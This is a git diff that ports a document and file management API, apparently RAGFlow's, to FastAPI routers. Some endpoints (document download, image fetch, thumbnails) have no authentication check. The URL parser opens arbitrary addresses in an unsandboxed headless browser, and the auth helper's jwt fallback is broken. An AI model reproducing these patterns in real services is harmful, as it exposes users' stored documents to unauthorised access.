+ if len(req.name.encode("utf-8")) > FILE_NAME_LEN_LIMIT:
+ return get_json_result(data=False, message=f"File name must be {FILE_NAME_LEN_LIMIT} bytes or less.", code=settings.RetCode.ARGUMENT_ERROR)
+
+ if req.name.strip() == "":
+ return get_json_result(data=False, message="File name can't be empty.", code=settings.RetCode.ARGUMENT_ERROR)
+ req.name = req.name.strip()
+
+ try:
+ e, kb = KnowledgebaseService.get_by_id(kb_id)
+ if not e:
+ return get_data_error_result(message="Can't find this knowledgebase!")
+
+ if DocumentService.query(name=req.name, kb_id=kb_id):
+ return get_data_error_result(message="Duplicated document name in the same knowledgebase.")
+
+ kb_root_folder = FileService.get_kb_folder(kb.tenant_id)
+ if not kb_root_folder:
+ return get_data_error_result(message="Cannot find the root folder.")
+ kb_folder = FileService.new_a_file_from_kb(
+ kb.tenant_id,
+ kb.name,
+ kb_root_folder["id"],
+ )
+ if not kb_folder:
+ return get_data_error_result(message="Cannot find the kb folder for this file.")
+
+ doc = DocumentService.insert(
+ {
+ "id": get_uuid(),
+ "kb_id": kb.id,
+ "parser_id": kb.parser_id,
+ "pipeline_id": kb.pipeline_id,
+ "parser_config": kb.parser_config,
+ "created_by": current_user.id,
+ "type": FileType.VIRTUAL,
+ "name": req.name,
+ "suffix": Path(req.name).suffix.lstrip("."),
+ "location": "",
+ "size": 0,
+ }
+ )
+
+ FileService.add_file_from_kb(doc.to_dict(), kb_folder["id"], kb.tenant_id)
+
+ return get_json_result(data=doc.to_json())
+ except Exception as e:
+ return server_error_response(e)
+
+
+@router.post("/list")
+async def list_docs(
+ kb_id: str = Query(...),
+ keywords: str = Query(""),
+ page: int = Query(0),
+ page_size: int = Query(0),
+ orderby: str = Query("create_time"),
+ desc: str = Query("true"),
+ create_time_from: int = Query(0),
+ create_time_to: int = Query(0),
+ req: DocumentListRequest = None,
+ current_user = Depends(get_current_user)
+):
+ if not kb_id:
+ return get_json_result(data=False, message='Lack of "KB ID"', code=settings.RetCode.ARGUMENT_ERROR)
+ tenants = UserTenantService.query(user_id=current_user.id)
+ for tenant in tenants:
+ if KnowledgebaseService.query(tenant_id=tenant.tenant_id, id=kb_id):
+ break
+ else:
+ return get_json_result(data=False, message="Only owner of knowledgebase authorized for this operation.", code=settings.RetCode.OPERATING_ERROR)
+
+ if desc.lower() == "false":
+ desc_bool = False
+ else:
+ desc_bool = True
+
+ run_status = req.run_status if req else []
+ if run_status:
+ invalid_status = {s for s in run_status if s not in VALID_TASK_STATUS}
+ if invalid_status:
+ return get_data_error_result(message=f"Invalid filter run status conditions: {', '.join(invalid_status)}")
+
+ types = req.types if req else []
+ if types:
+ invalid_types = {t for t in types if t not in VALID_FILE_TYPES}
+ if invalid_types:
+ return get_data_error_result(message=f"Invalid filter conditions: {', '.join(invalid_types)} type{'s' if len(invalid_types) > 1 else ''}")
+
+ suffix = req.suffix if req else []
+
+ try:
+ docs, tol = DocumentService.get_by_kb_id(kb_id, page, page_size, orderby, desc_bool, keywords, run_status, types, suffix)
+
+ if create_time_from or create_time_to:
+ filtered_docs = []
+ for doc in docs:
+ doc_create_time = doc.get("create_time", 0)
+ if (create_time_from == 0 or doc_create_time >= create_time_from) and (create_time_to == 0 or doc_create_time <= create_time_to):
+ filtered_docs.append(doc)
+ docs = filtered_docs
+
+ for doc_item in docs:
+ if doc_item["thumbnail"] and not doc_item["thumbnail"].startswith(IMG_BASE64_PREFIX):
+ doc_item["thumbnail"] = f"/v1/document/image/{kb_id}-{doc_item['thumbnail']}"
+
+ return get_json_result(data={"total": tol, "docs": docs})
+ except Exception as e:
+ return server_error_response(e)
+
+
+@router.post("/filter")
+async def get_filter(
+ req: DocumentFilterRequest,
+ current_user = Depends(get_current_user)
+):
+ kb_id = req.kb_id
+ if not kb_id:
+ return get_json_result(data=False, message='Lack of "KB ID"', code=settings.RetCode.ARGUMENT_ERROR)
+ tenants = UserTenantService.query(user_id=current_user.id)
+ for tenant in tenants:
+ if KnowledgebaseService.query(tenant_id=tenant.tenant_id, id=kb_id):
+ break
+ else:
+ return get_json_result(data=False, message="Only owner of knowledgebase authorized for this operation.", code=settings.RetCode.OPERATING_ERROR)
+
+ keywords = req.keywords
+ suffix = req.suffix
+ run_status = req.run_status
+ if run_status:
+ invalid_status = {s for s in run_status if s not in VALID_TASK_STATUS}
+ if invalid_status:
+ return get_data_error_result(message=f"Invalid filter run status conditions: {', '.join(invalid_status)}")
+
+ types = req.types
+ if types:
+ invalid_types = {t for t in types if t not in VALID_FILE_TYPES}
+ if invalid_types:
+ return get_data_error_result(message=f"Invalid filter conditions: {', '.join(invalid_types)} type{'s' if len(invalid_types) > 1 else ''}")
+
+ try:
+ filter, total = DocumentService.get_filter_by_kb_id(kb_id, keywords, run_status, types, suffix)
+ return get_json_result(data={"total": total, "filter": filter})
+ except Exception as e:
+ return server_error_response(e)
+
+
+@router.post("/infos")
+async def docinfos(
+ req: DocumentInfosRequest,
+ current_user = Depends(get_current_user)
+):
+ doc_ids = req.doc_ids
+ for doc_id in doc_ids:
+ if not DocumentService.accessible(doc_id, current_user.id):
+ return get_json_result(data=False, message="No authorization.", code=settings.RetCode.AUTHENTICATION_ERROR)
+ docs = DocumentService.get_by_ids(doc_ids)
+ return get_json_result(data=list(docs.dicts()))
+
+
+@router.get("/thumbnails")
+async def thumbnails(
+ doc_ids: List[str] = Query(...)
+):
+ if not doc_ids:
+ return get_json_result(data=False, message='Lack of "Document ID"', code=settings.RetCode.ARGUMENT_ERROR)
+
+ try:
+ docs = DocumentService.get_thumbnails(doc_ids)
+
+ for doc_item in docs:
+ if doc_item["thumbnail"] and not doc_item["thumbnail"].startswith(IMG_BASE64_PREFIX):
+ doc_item["thumbnail"] = f"/v1/document/image/{doc_item['kb_id']}-{doc_item['thumbnail']}"
+
+ return get_json_result(data={d["id"]: d["thumbnail"] for d in docs})
+ except Exception as e:
+ return server_error_response(e)
+
+
+@router.post("/change_status")
+async def change_status(
+ req: ChangeStatusRequest,
+ current_user = Depends(get_current_user)
+):
+ doc_ids = req.doc_ids
+ status = str(req.status)
+
+ if status not in ["0", "1"]:
+ return get_json_result(data=False, message='"Status" must be either 0 or 1!', code=settings.RetCode.ARGUMENT_ERROR)
+
+ result = {}
+ for doc_id in doc_ids:
+ if not DocumentService.accessible(doc_id, current_user.id):
+ result[doc_id] = {"error": "No authorization."}
+ continue
+
+ try:
+ e, doc = DocumentService.get_by_id(doc_id)
+ if not e:
+ result[doc_id] = {"error": "No authorization."}
+ continue
+ e, kb = KnowledgebaseService.get_by_id(doc.kb_id)
+ if not e:
+ result[doc_id] = {"error": "Can't find this knowledgebase!"}
+ continue
+ if not DocumentService.update_by_id(doc_id, {"status": str(status)}):
+ result[doc_id] = {"error": "Database error (Document update)!"}
+ continue
+
+ status_int = int(status)
+ if not settings.docStoreConn.update({"doc_id": doc_id}, {"available_int": status_int}, search.index_name(kb.tenant_id), doc.kb_id):
+ result[doc_id] = {"error": "Database error (docStore update)!"}
+ result[doc_id] = {"status": status}
+ except Exception as e:
+ result[doc_id] = {"error": f"Internal server error: {str(e)}"}
+
+ return get_json_result(data=result)
+
+
+@router.post("/rm")
+async def rm(
+ req: RemoveDocumentRequest,
+ current_user = Depends(get_current_user)
+):
+ doc_ids = req.doc_id
+ if isinstance(doc_ids, str):
+ doc_ids = [doc_ids]
+
+ for doc_id in doc_ids:
+ if not DocumentService.accessible4deletion(doc_id, current_user.id):
+ return get_json_result(data=False, message="No authorization.", code=settings.RetCode.AUTHENTICATION_ERROR)
+
+ root_folder = FileService.get_root_folder(current_user.id)
+ pf_id = root_folder["id"]
+ FileService.init_knowledgebase_docs(pf_id, current_user.id)
+ errors = ""
+ kb_table_num_map = {}
+ for doc_id in doc_ids:
+ try:
+ e, doc = DocumentService.get_by_id(doc_id)
+ if not e:
+ return get_data_error_result(message="Document not found!")
+ tenant_id = DocumentService.get_tenant_id(doc_id)
+ if not tenant_id:
+ return get_data_error_result(message="Tenant not found!")
+
+ b, n = File2DocumentService.get_storage_address(doc_id=doc_id)
+
+ TaskService.filter_delete([Task.doc_id == doc_id])
+ if not DocumentService.remove_document(doc, tenant_id):
+ return get_data_error_result(message="Database error (Document removal)!")
+
+ f2d = File2DocumentService.get_by_document_id(doc_id)
+ deleted_file_count = 0
+ if f2d:
+ deleted_file_count = FileService.filter_delete([File.source_type == FileSource.KNOWLEDGEBASE, File.id == f2d[0].file_id])
+ File2DocumentService.delete_by_document_id(doc_id)
+ if deleted_file_count > 0:
+ STORAGE_IMPL.rm(b, n)
+
+ doc_parser = doc.parser_id
+ if doc_parser == ParserType.TABLE:
+ kb_id = doc.kb_id
+ if kb_id not in kb_table_num_map:
+ counts = DocumentService.count_by_kb_id(kb_id=kb_id, keywords="", run_status=[TaskStatus.DONE], types=[])
+ kb_table_num_map[kb_id] = counts
+ kb_table_num_map[kb_id] -= 1
+ if kb_table_num_map[kb_id] <= 0:
+ KnowledgebaseService.delete_field_map(kb_id)
+ except Exception as e:
+ errors += str(e)
+
+ if errors:
+ return get_json_result(data=False, message=errors, code=settings.RetCode.SERVER_ERROR)
+
+ return get_json_result(data=True)
+
+
+@router.post("/run")
+async def run(
+ req: RunDocumentRequest,
+ current_user = Depends(get_current_user)
+):
+ for doc_id in req.doc_ids:
+ if not DocumentService.accessible(doc_id, current_user.id):
+ return get_json_result(data=False, message="No authorization.", code=settings.RetCode.AUTHENTICATION_ERROR)
+ try:
+ kb_table_num_map = {}
+ for id in req.doc_ids:
+ info = {"run": str(req.run), "progress": 0}
+ if str(req.run) == TaskStatus.RUNNING.value and req.delete:
+ info["progress_msg"] = ""
+ info["chunk_num"] = 0
+ info["token_num"] = 0
+
+ tenant_id = DocumentService.get_tenant_id(id)
+ if not tenant_id:
+ return get_data_error_result(message="Tenant not found!")
+ e, doc = DocumentService.get_by_id(id)
+ if not e:
+ return get_data_error_result(message="Document not found!")
+
+ if str(req.run) == TaskStatus.CANCEL.value:
+ if str(doc.run) == TaskStatus.RUNNING.value:
+ cancel_all_task_of(id)
+ else:
+ return get_data_error_result(message="Cannot cancel a task that is not in RUNNING status")
+ if all([req.delete, str(req.run) == TaskStatus.RUNNING.value, str(doc.run) == TaskStatus.DONE.value]):
+ DocumentService.clear_chunk_num_when_rerun(doc.id)
+
+ DocumentService.update_by_id(id, info)
+ if req.delete:
+ TaskService.filter_delete([Task.doc_id == id])
+ if settings.docStoreConn.indexExist(search.index_name(tenant_id), doc.kb_id):
+ settings.docStoreConn.delete({"doc_id": id}, search.index_name(tenant_id), doc.kb_id)
+
+ if str(req.run) == TaskStatus.RUNNING.value:
+ doc = doc.to_dict()
+ doc["tenant_id"] = tenant_id
+
+ doc_parser = doc.get("parser_id", ParserType.NAIVE)
+ if doc_parser == ParserType.TABLE:
+ kb_id = doc.get("kb_id")
+ if not kb_id:
+ continue
+ if kb_id not in kb_table_num_map:
+ count = DocumentService.count_by_kb_id(kb_id=kb_id, keywords="", run_status=[TaskStatus.DONE], types=[])
+ kb_table_num_map[kb_id] = count
+ if kb_table_num_map[kb_id] <= 0:
+ KnowledgebaseService.delete_field_map(kb_id)
+ if doc.get("pipeline_id", ""):
+ queue_dataflow(tenant_id, flow_id=doc["pipeline_id"], task_id=get_uuid(), doc_id=id)
+ else:
+ bucket, name = File2DocumentService.get_storage_address(doc_id=doc["id"])
+ queue_tasks(doc, bucket, name, 0)
+
+ return get_json_result(data=True)
+ except Exception as e:
+ traceback.print_exc()
+ return server_error_response(e)
+
+
+@router.post("/rename")
+async def rename(
+ req: RenameDocumentRequest,
+ current_user = Depends(get_current_user)
+):
+ if not DocumentService.accessible(req.doc_id, current_user.id):
+ return get_json_result(data=False, message="No authorization.", code=settings.RetCode.AUTHENTICATION_ERROR)
+ try:
+ e, doc = DocumentService.get_by_id(req.doc_id)
+ if not e:
+ return get_data_error_result(message="Document not found!")
+ if pathlib.Path(req.name.lower()).suffix != pathlib.Path(doc.name.lower()).suffix:
+ return get_json_result(data=False, message="The extension of file can't be changed", code=settings.RetCode.ARGUMENT_ERROR)
+ if len(req.name.encode("utf-8")) > FILE_NAME_LEN_LIMIT:
+ return get_json_result(data=False, message=f"File name must be {FILE_NAME_LEN_LIMIT} bytes or less.", code=settings.RetCode.ARGUMENT_ERROR)
+
+ for d in DocumentService.query(name=req.name, kb_id=doc.kb_id):
+ if d.name == req.name:
+ return get_data_error_result(message="Duplicated document name in the same knowledgebase.")
+
+ if not DocumentService.update_by_id(req.doc_id, {"name": req.name}):
+ return get_data_error_result(message="Database error (Document rename)!")
+
+ informs = File2DocumentService.get_by_document_id(req.doc_id)
+ if informs:
+ e, file = FileService.get_by_id(informs[0].file_id)
+ FileService.update_by_id(file.id, {"name": req.name})
+
+ return get_json_result(data=True)
+ except Exception as e:
+ return server_error_response(e)
+
+
+@router.get("/get/{doc_id}")
+async def get(doc_id: str):
+ try:
+ e, doc = DocumentService.get_by_id(doc_id)
+ if not e:
+ return get_data_error_result(message="Document not found!")
+
+ b, n = File2DocumentService.get_storage_address(doc_id=doc_id)
+ content = STORAGE_IMPL.get(b, n)
+
+ ext = re.search(r"\.([^.]+)$", doc.name.lower())
+ ext = ext.group(1) if ext else None
+
+ if ext:
+ if doc.type == FileType.VISUAL.value:
+ media_type = CONTENT_TYPE_MAP.get(ext, f"image/{ext}")
+ else:
+ media_type = CONTENT_TYPE_MAP.get(ext, f"application/{ext}")
+ else:
+ media_type = "application/octet-stream"
+
+ return StreamingResponse(
+ iter([content]),
+ media_type=media_type,
+ headers={"Content-Disposition": f"attachment; filename={doc.name}"}
+ )
+ except Exception as e:
+ return server_error_response(e)
+
+
+@router.post("/change_parser")
+async def change_parser(
+ req: ChangeParserRequest,
+ current_user = Depends(get_current_user)
+):
+ if not DocumentService.accessible(req.doc_id, current_user.id):
+ return get_json_result(data=False, message="No authorization.", code=settings.RetCode.AUTHENTICATION_ERROR)
+
+ e, doc = DocumentService.get_by_id(req.doc_id)
+ if not e:
+ return get_data_error_result(message="Document not found!")
+
+ def reset_doc():
+ nonlocal doc
+ e = DocumentService.update_by_id(doc.id, {"parser_id": req.parser_id, "progress": 0, "progress_msg": "", "run": TaskStatus.UNSTART.value})
+ if not e:
+ return get_data_error_result(message="Document not found!")
+ if doc.token_num > 0:
+ e = DocumentService.increment_chunk_num(doc.id, doc.kb_id, doc.token_num * -1, doc.chunk_num * -1, doc.process_duration * -1)
+ if not e:
+ return get_data_error_result(message="Document not found!")
+ tenant_id = DocumentService.get_tenant_id(req.doc_id)
+ if not tenant_id:
+ return get_data_error_result(message="Tenant not found!")
+ if settings.docStoreConn.indexExist(search.index_name(tenant_id), doc.kb_id):
+ settings.docStoreConn.delete({"doc_id": doc.id}, search.index_name(tenant_id), doc.kb_id)
+
+ try:
+ if req.pipeline_id:
+ if doc.pipeline_id == req.pipeline_id:
+ return get_json_result(data=True)
+ DocumentService.update_by_id(doc.id, {"pipeline_id": req.pipeline_id})
+ reset_doc()
+ return get_json_result(data=True)
+
+ if doc.parser_id.lower() == req.parser_id.lower():
+ if req.parser_config:
+ if req.parser_config == doc.parser_config:
+ return get_json_result(data=True)
+ else:
+ return get_json_result(data=True)
+
+ if (doc.type == FileType.VISUAL and req.parser_id != "picture") or (re.search(r"\.(ppt|pptx|pages)$", doc.name) and req.parser_id != "presentation"):
+ return get_data_error_result(message="Not supported yet!")
+ if req.parser_config:
+ DocumentService.update_parser_config(doc.id, req.parser_config)
+ reset_doc()
+ return get_json_result(data=True)
+ except Exception as e:
+ return server_error_response(e)
+
+
+@router.get("/image/{image_id}")
+async def get_image(image_id: str):
+ try:
+ arr = image_id.split("-")
+ if len(arr) != 2:
+ return get_data_error_result(message="Image not found.")
+ bkt, nm = image_id.split("-")
+ content = STORAGE_IMPL.get(bkt, nm)
+ return StreamingResponse(
+ iter([content]),
+ media_type="image/JPEG"
+ )
+ except Exception as e:
+ return server_error_response(e)
+
+
+@router.post("/upload_and_parse")
+async def upload_and_parse(
+ conversation_id: str = Form(...),
+ files: List[UploadFile] = File(...),
+ current_user = Depends(get_current_user)
+):
+ if not files:
+ return get_json_result(data=False, message="No file part!", code=settings.RetCode.ARGUMENT_ERROR)
+
+ # Use UploadFile directly
+ file_objs = files
+
+ for file_obj in file_objs:
+ if file_obj.filename == "":
+ return get_json_result(data=False, message="No file selected!", code=settings.RetCode.ARGUMENT_ERROR)
+
+ doc_ids = await doc_upload_and_parse(conversation_id, file_objs, current_user.id)
+
+ return get_json_result(data=doc_ids)
+
+
+@router.post("/parse")
+async def parse(
+ req: ParseRequest = None,
+ files: List[UploadFile] = File(None),
+ current_user = Depends(get_current_user)
+):
+ url = req.url if req else ""
+ if url:
+ if not is_valid_url(url):
+ return get_json_result(data=False, message="The URL format is invalid", code=settings.RetCode.ARGUMENT_ERROR)
+ download_path = os.path.join(get_project_base_directory(), "logs/downloads")
+ os.makedirs(download_path, exist_ok=True)
+ from seleniumwire.webdriver import Chrome, ChromeOptions
+
+ options = ChromeOptions()
+ options.add_argument("--headless")
+ options.add_argument("--disable-gpu")
+ options.add_argument("--no-sandbox")
+ options.add_argument("--disable-dev-shm-usage")
+ options.add_experimental_option("prefs", {"download.default_directory": download_path, "download.prompt_for_download": False, "download.directory_upgrade": True, "safebrowsing.enabled": True})
+ driver = Chrome(options=options)
+ driver.get(url)
+ res_headers = [r.response.headers for r in driver.requests if r and r.response]
+ if len(res_headers) > 1:
+ sections = RAGFlowHtmlParser().parser_txt(driver.page_source)
+ driver.quit()
+ return get_json_result(data="\n".join(sections))
+
+ class File:
+ filename: str
+ filepath: str
+
+ def __init__(self, filename, filepath):
+ self.filename = filename
+ self.filepath = filepath
+
+ def read(self):
+ with open(self.filepath, "rb") as f:
+ return f.read()
+
+ r = re.search(r"filename=\"([^\"]+)\"", str(res_headers))
+ if not r or not r.group(1):
+ return get_json_result(data=False, message="Can't not identify downloaded file", code=settings.RetCode.ARGUMENT_ERROR)
+ f = File(r.group(1), os.path.join(download_path, r.group(1)))
+ txt = await FileService.parse_docs([f], current_user.id)
+ return get_json_result(data=txt)
+
+ if not files:
+ return get_json_result(data=False, message="No file part!", code=settings.RetCode.ARGUMENT_ERROR)
+
+ # Use UploadFile directly
+ file_objs = files
+ txt = await FileService.parse_docs(file_objs, current_user.id)
+
+ return get_json_result(data=txt)
+
+
+@router.post("/set_meta")
+async def set_meta(
+ req: SetMetaRequest,
+ current_user = Depends(get_current_user)
+):
+ if not DocumentService.accessible(req.doc_id, current_user.id):
+ return get_json_result(data=False, message="No authorization.", code=settings.RetCode.AUTHENTICATION_ERROR)
+ try:
+ meta = json.loads(req.meta)
+ if not isinstance(meta, dict):
+ return get_json_result(data=False, message="Only dictionary type supported.", code=settings.RetCode.ARGUMENT_ERROR)
+ for k, v in meta.items():
+ if not isinstance(v, str) and not isinstance(v, int) and not isinstance(v, float):
+ return get_json_result(data=False, message=f"The type is not supported: {v}", code=settings.RetCode.ARGUMENT_ERROR)
+ except Exception as e:
+ return get_json_result(data=False, message=f"Json syntax error: {e}", code=settings.RetCode.ARGUMENT_ERROR)
+ if not isinstance(meta, dict):
+ return get_json_result(data=False, message='Meta data should be in Json map format, like {"key": "value"}', code=settings.RetCode.ARGUMENT_ERROR)
+
+ try:
+ e, doc = DocumentService.get_by_id(req.doc_id)
+ if not e:
+ return get_data_error_result(message="Document not found!")
+
+ if not DocumentService.update_by_id(req.doc_id, {"meta_fields": meta}):
+ return get_data_error_result(message="Database error (meta updates)!")
+
+ return get_json_result(data=True)
+ except Exception as e:
+ return server_error_response(e)
diff --git a/api/apps/file2document_app.py b/api/apps/file2document_app.py
new file mode 100644
index 0000000..005e815
--- /dev/null
+++ b/api/apps/file2document_app.py
@@ -0,0 +1,212 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License
+#
+
+from pathlib import Path
+from typing import List
+
+from fastapi import APIRouter, Depends
+from fastapi.security import HTTPBearer, HTTPAuthorizationCredentials
+
+from api.db.services.file2document_service import File2DocumentService
+from api.db.services.file_service import FileService
+
+from api.db.services.knowledgebase_service import KnowledgebaseService
+from api.utils.api_utils import server_error_response, get_data_error_result, validate_request
+from api.utils import get_uuid
+from api.db import FileType
+from api.db.services.document_service import DocumentService
+from api import settings
+from api.utils.api_utils import get_json_result
+from pydantic import BaseModel
+
+# Security
+security = HTTPBearer()
+
+# Pydantic models for request/response
+class ConvertRequest(BaseModel):
+ file_ids: List[str]
+ kb_ids: List[str]
+
+class RemoveFile2DocumentRequest(BaseModel):
+ file_ids: List[str]
+
+# Dependency injection
+async def get_current_user(credentials: HTTPAuthorizationCredentials = Depends(security)):
+ """获取当前用户"""
+ from api.db import StatusEnum
+ from api.db.services.user_service import UserService
+ from fastapi import HTTPException, status
+ import logging
+
+ try:
+ from itsdangerous.url_safe import URLSafeTimedSerializer as Serializer
+ except ImportError:
+ # 如果没有itsdangerous,使用jwt作为替代
+ import jwt
+ Serializer = jwt
+
+ jwt = Serializer(secret_key=settings.SECRET_KEY)
+ authorization = credentials.credentials
+
+ if authorization:
+ try:
+ access_token = str(jwt.loads(authorization))
+
+ if not access_token or not access_token.strip():
+ raise HTTPException(
+ status_code=status.HTTP_401_UNAUTHORIZED,
+ detail="Authentication attempt with empty access token"
+ )
+
+ # Access tokens should be UUIDs (32 hex characters)
+ if len(access_token.strip()) < 32:
+ raise HTTPException(
+ status_code=status.HTTP_401_UNAUTHORIZED,
+ detail=f"Authentication attempt with invalid token format: {len(access_token)} chars"
+ )
+
+ user = UserService.query(
+ access_token=access_token, status=StatusEnum.VALID.value
+ )
+ if user:
+ if not user[0].access_token or not user[0].access_token.strip():
+ raise HTTPException(
+ status_code=status.HTTP_401_UNAUTHORIZED,
+ detail=f"User {user[0].email} has empty access_token in database"
+ )
+ return user[0]
+ else:
+ raise HTTPException(
+ status_code=status.HTTP_401_UNAUTHORIZED,
+ detail="Invalid access token"
+ )
+ except Exception as e:
+ logging.warning(f"load_user got exception {e}")
+ raise HTTPException(
+ status_code=status.HTTP_401_UNAUTHORIZED,
+ detail="Invalid access token"
+ )
+ else:
+ raise HTTPException(
+ status_code=status.HTTP_401_UNAUTHORIZED,
+ detail="Authorization header required"
+ )
+
+# Create router
+router = APIRouter()
+
+
+@router.post('/convert')
+async def convert(
+ req: ConvertRequest,
+ current_user = Depends(get_current_user)
+):
+ kb_ids = req.kb_ids
+ file_ids = req.file_ids
+ file2documents = []
+
+ try:
+ files = FileService.get_by_ids(file_ids)
+ files_set = dict({file.id: file for file in files})
+ for file_id in file_ids:
+ file = files_set[file_id]
+ if not file:
+ return get_data_error_result(message="File not found!")
+ file_ids_list = [file_id]
+ if file.type == FileType.FOLDER.value:
+ file_ids_list = FileService.get_all_innermost_file_ids(file_id, [])
+ for id in file_ids_list:
+ informs = File2DocumentService.get_by_file_id(id)
+ # delete
+ for inform in informs:
+ doc_id = inform.document_id
+ e, doc = DocumentService.get_by_id(doc_id)
+ if not e:
+ return get_data_error_result(message="Document not found!")
+ tenant_id = DocumentService.get_tenant_id(doc_id)
+ if not tenant_id:
+ return get_data_error_result(message="Tenant not found!")
+ if not DocumentService.remove_document(doc, tenant_id):
+ return get_data_error_result(
+ message="Database error (Document removal)!")
+ File2DocumentService.delete_by_file_id(id)
+
+ # insert
+ for kb_id in kb_ids:
+ e, kb = KnowledgebaseService.get_by_id(kb_id)
+ if not e:
+ return get_data_error_result(
+ message="Can't find this knowledgebase!")
+ e, file = FileService.get_by_id(id)
+ if not e:
+ return get_data_error_result(
+ message="Can't find this file!")
+
+ doc = DocumentService.insert({
+ "id": get_uuid(),
+ "kb_id": kb.id,
+ "parser_id": FileService.get_parser(file.type, file.name, kb.parser_id),
+ "parser_config": kb.parser_config,
+ "created_by": current_user.id,
+ "type": file.type,
+ "name": file.name,
+ "suffix": Path(file.name).suffix.lstrip("."),
+ "location": file.location,
+ "size": file.size
+ })
+ file2document = File2DocumentService.insert({
+ "id": get_uuid(),
+ "file_id": id,
+ "document_id": doc.id,
+ })
+
+ file2documents.append(file2document.to_json())
+ return get_json_result(data=file2documents)
+ except Exception as e:
+ return server_error_response(e)
+
+
+@router.post('/rm')
+async def rm(
+ req: RemoveFile2DocumentRequest,
+ current_user = Depends(get_current_user)
+):
+ file_ids = req.file_ids
+ if not file_ids:
+ return get_json_result(
+ data=False, message='Lack of "Files ID"', code=settings.RetCode.ARGUMENT_ERROR)
+ try:
+ for file_id in file_ids:
+ informs = File2DocumentService.get_by_file_id(file_id)
+ if not informs:
+ return get_data_error_result(message="Inform not found!")
+ for inform in informs:
+ if not inform:
+ return get_data_error_result(message="Inform not found!")
+ File2DocumentService.delete_by_file_id(file_id)
+ doc_id = inform.document_id
+ e, doc = DocumentService.get_by_id(doc_id)
+ if not e:
+ return get_data_error_result(message="Document not found!")
+ tenant_id = DocumentService.get_tenant_id(doc_id)
+ if not tenant_id:
+ return get_data_error_result(message="Tenant not found!")
+ if not DocumentService.remove_document(doc, tenant_id):
+ return get_data_error_result(
+ message="Database error (Document removal)!")
+ return get_json_result(data=True)
+ except Exception as e:
+ return server_error_response(e)
diff --git a/api/apps/file_app.py b/api/apps/file_app.py
new file mode 100644
index 0000000..6360208
--- /dev/null
+++ b/api/apps/file_app.py
@@ -0,0 +1,481 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License
+#
+import os
+import pathlib
+import re
+from typing import List, Optional
+
+from fastapi import APIRouter, Depends, File, Form, HTTPException, UploadFile, Query
+from fastapi.responses import StreamingResponse
+from fastapi.security import HTTPBearer, HTTPAuthorizationCredentials
+
+from api.common.check_team_permission import check_file_team_permission
+from api.db.services.document_service import DocumentService
+from api.db.services.file2document_service import File2DocumentService
+from api.utils.api_utils import server_error_response, get_data_error_result, validate_request
+from api.utils import get_uuid
+from api.db import FileType, FileSource
+from api.db.services import duplicate_name
+from api.db.services.file_service import FileService
+from api import settings
+from api.utils.api_utils import get_json_result
+from api.utils.file_utils import filename_type
+from api.utils.web_utils import CONTENT_TYPE_MAP
+from rag.utils.storage_factory import STORAGE_IMPL
+from pydantic import BaseModel
+
+# Security
+security = HTTPBearer()
+
+# Pydantic models for request/response
+class CreateFileRequest(BaseModel):
+ name: str
+ parent_id: Optional[str] = None
+ type: Optional[str] = None
+
+class RemoveFileRequest(BaseModel):
+ file_ids: List[str]
+
+class RenameFileRequest(BaseModel):
+ file_id: str
+ name: str
+
+class MoveFileRequest(BaseModel):
+ src_file_ids: List[str]
+ dest_file_id: str
+
+# Dependency injection
+async def get_current_user(credentials: HTTPAuthorizationCredentials = Depends(security)):
+ """获取当前用户"""
+ from api.db import StatusEnum
+ from api.db.services.user_service import UserService
+ from fastapi import HTTPException, status
+ import logging
+
+ try:
+ from itsdangerous.url_safe import URLSafeTimedSerializer as Serializer
+ except ImportError:
+ # 如果没有itsdangerous,使用jwt作为替代
+ import jwt
+ Serializer = jwt
+
+ jwt = Serializer(secret_key=settings.SECRET_KEY)
+ authorization = credentials.credentials
+
+ if authorization:
+ try:
+ access_token = str(jwt.loads(authorization))
+
+ if not access_token or not access_token.strip():
+ raise HTTPException(
+ status_code=status.HTTP_401_UNAUTHORIZED,
+ detail="Authentication attempt with empty access token"
+ )
+
+ # Access tokens should be UUIDs (32 hex characters)
+ if len(access_token.strip()) < 32:
+ raise HTTPException(
+ status_code=status.HTTP_401_UNAUTHORIZED,
+ detail=f"Authentication attempt with invalid token format: {len(access_token)} chars"
+ )
+
+ user = UserService.query(
+ access_token=access_token, status=StatusEnum.VALID.value
+ )
+ if user:
+ if not user[0].access_token or not user[0].access_token.strip():
+ raise HTTPException(
+ status_code=status.HTTP_401_UNAUTHORIZED,
+ detail=f"User {user[0].email} has empty access_token in database"
+ )
+ return user[0]
+ else:
+ raise HTTPException(
+ status_code=status.HTTP_401_UNAUTHORIZED,
+ detail="Invalid access token"
+ )
+ except Exception as e:
+ logging.warning(f"load_user got exception {e}")
+ raise HTTPException(
+ status_code=status.HTTP_401_UNAUTHORIZED,
+ detail="Invalid access token"
+ )
+ else:
+ raise HTTPException(
+ status_code=status.HTTP_401_UNAUTHORIZED,
+ detail="Authorization header required"
+ )
+
+# Create router
+router = APIRouter()
+
+
+@router.post('/upload')
+async def upload(
+ parent_id: Optional[str] = Form(None),
+ files: List[UploadFile] = File(...),
+ current_user = Depends(get_current_user)
+):
+ pf_id = parent_id
+
+ if not pf_id:
+ root_folder = FileService.get_root_folder(current_user.id)
+ pf_id = root_folder["id"]
+
+ if not files:
+ return get_json_result(
+ data=False, message='No file part!', code=settings.RetCode.ARGUMENT_ERROR)
+
+ file_objs = files
+
+ for file_obj in file_objs:
+ if file_obj.filename == '':
+ return get_json_result(
+ data=False, message='No file selected!', code=settings.RetCode.ARGUMENT_ERROR)
+ file_res = []
+ try:
+ e, pf_folder = FileService.get_by_id(pf_id)
+ if not e:
+ return get_data_error_result( message="Can't find this folder!")
+ for file_obj in file_objs:
